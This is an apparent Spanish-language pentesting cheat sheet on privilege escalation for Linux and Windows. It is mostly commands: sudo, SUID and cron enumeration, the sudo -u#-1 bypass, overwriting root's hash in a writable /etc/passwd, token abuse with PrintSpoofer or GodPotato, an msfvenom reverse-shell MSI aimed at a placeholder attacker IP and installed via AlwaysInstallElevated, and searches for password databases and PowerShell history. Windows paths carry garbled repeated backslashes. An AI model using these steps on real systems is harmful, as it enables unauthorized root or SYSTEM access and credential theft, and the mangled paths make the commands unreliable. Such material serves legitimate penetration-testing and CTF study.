Escalada de privilegios
Última actualización
Última actualización
Usuario con credenciales válidas (sudo -l):
Ejecutar sudo -l
para ver qué binarios se pueden ejecutar con sudo
, consultar
Ejecutar sudo -V
para obtener la versión, si es inferior a 1.28, se puede usar sudo -u#-1 /bin/bash
Binarios SUID:
Ejecutar find / -perm -u=s -type f 2>/dev/null
Ejecutar find / -perm -4000 2>/dev/null
Consultar
Exploits de Kernel:
Ejecutar uname -a
&& searchsploit
/etc/passwd con permisos de escritura:
Ejecutar ls -la /etc/passwd
para ver si se tienen permisos de escritura
Ejecutar openssl passwd -1 -salt hacker hacker
y reemplazar la entrada de contraseña de root
(o eliminar x
)
Ejecutar su root
hacker
Tratamiento de la TTY si la shell ****si no es interactiva:
Ejecutar python -c 'import pty;pty.spawn("/bin/bash")'
Ejecutar python -c 'import pty;pty.spawn("/bin/sh")'
Ejecutar python3 -c 'import pty;pty.spawn("/bin/bash")'
Ejecutar python3 -c 'import pty;pty.spawn("/bin/sh")'
Alternativa más completa y estable:
Obtener contexto del sistema usuario actual, nombre de host, grupos
Ejecutar whoami
id
hostname
Obtener versión del kernel y buscar vulnerabilidades
Ejecutar uname -a
&& searchsploit
Verificar sudo (contraseña válida)
Ejecutar sudo -l
sudo -V
(por debajo de 1.28 sudo -u#-1 /bin/bash
)
Verificar binarios SUID
Ejecutar find / -perm -u=s -type f 2>/dev/null
Ejecutar find / -perm -4000 2>/dev/null
Verificar usuarios y /etc/passwd con permisos de escritura
Ejecutar ls -la /etc/passwd
/ cat /etc/passwd
Verificar entorno
Ejecutar echo $PATH
/ (env || set) 2>/dev/null
/ history
/ cat ~/.bashrc
Verificar procesos
Ejecutar ps aux
/ ps -ef
/ watch -n 1 "ps -aux | grep pass"
Verificar cronjobs
Ejecutar ls -lah /etc/cron*
/ cat /var/log/syslog | grep cron
/ cat /var/log/cron.log
Ejecutar grep "CRON" /var/log/syslog
/ ls -la /etc/cron.d
/ ls -la /etc/cron.hourly
Verificar archivos escribibles/utilizables y permisos de archivos
Ejecutar find / -writable -type d 2>/dev/null
Ejecutar find / -perm -u=s -type f 2>/dev/null
Ejecutar ls -la
Verificar redes y servicios en ejecución en localhost
Ejecutar ip a
/ netstat
/ ss -natup
Abuso de Tokens
Ejecutar whoami /priv
>> SeImpersonatePrivilege
Usar PrintSpoofer
o GodPotato
Verificar Registro AlwaysInstallElevated
Ejecutar reg query HKCU\\\\\\\\SOFTWARE\\\\\\\\Policies\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\Installer /v AlwaysInstallElevated
si devuelve 0x1
, crear un MSI que se ejecutará como SYSTEM
Ejecutar msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP_ATACANTE LPORT=PUERTO_LOCAL -f msi -o evil.msi
Ejecutar msiexec /quiet /qn /i C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\malicious.msi
Credenciales en caché
Ejecutar cmdkey /list
Historial de PowerShell
Ejecutar Get-History
Ejecutar (Get-PSReadlineOption).HistorySavePath
Ejecutar type %userprofile%\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\PowerShell\\\\\\\\PSReadline\\\\\\\\ConsoleHost_history.txt
Obtener contexto, usuarios y grupos
Ejecutar whoami
net user
net group
whoami /groups
Verificar tokens/privilegios
Ejecutar whoami /priv
>> SeImpersonatePrivilege
Verificar claves de registro
Ejecutar reg query HKCU\\\\\\\\SOFTWARE\\\\\\\\Policies\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\Installer /v AlwaysInstallElevated
>> 0x1
Verificar credenciales en caché
Ejecutar cmdkey /list
Verificar historial de PowerShell
Ejecutar (Get-PSReadlineOption).HistorySavePath
Verificar servicios en ejecución en busca de ubicaciones sin comillas o no predeterminadas
Ejecutar Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}
Verificar archivos binarios no predeterminados buscando archivos .dll (como archivos de registro también)
Ejecutar C:\\\\\\\\TEMP\\\\\\\\???
C:\\\\\\\\Users\\\\\\\\user\\\\\\\\???
C:\\\\\\\\backup\\\\\\\\???
etc
Verificar archivos útiles en el directorio del usuario
Ejecutar Get-ChildItem -Path C:\\\\\\\\Users\\\\\\\\ -Include *.txt -File -Recurse -ErrorAction SilentlyContinue
.log
.kdbx
.xml
cualquier archivo extraño en el directorio del usuario
Verificar tareas programadas ejecutadas por niveles superiores
Ejecutar Get-ScheduledTask
schtasks /query
schtasks /query /fo LIST /v
Verificar archivos de base de datos de contraseñas
Ejecutar Get-ChildItem -Path C:\\\\\\\\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue
Verificar archivos de configuración
Ejecutar Get-ChildItem -Path C:\\\\\\\\ -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue
Verificar paquetes instalados
Ejecutar Get-ItemProperty "HKLM:\\\\\\\\SOFTWARE\\\\\\\\Wow6432Node\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Uninstall\\\\\\\\*" | select displayname
Ejecutar Get-ItemProperty "HKLM:\\\\\\\\SOFTWARE\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Uninstall\\\\\\\\*" | select displayname
⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯
← Más binarios compilados
Fuente original:
📝 LinkedIn ⮞ ▶️ YouTube ⮞ 🐦 Twitter ⮞ 🔴 Twitch ⮞ 💬 Discord ⮞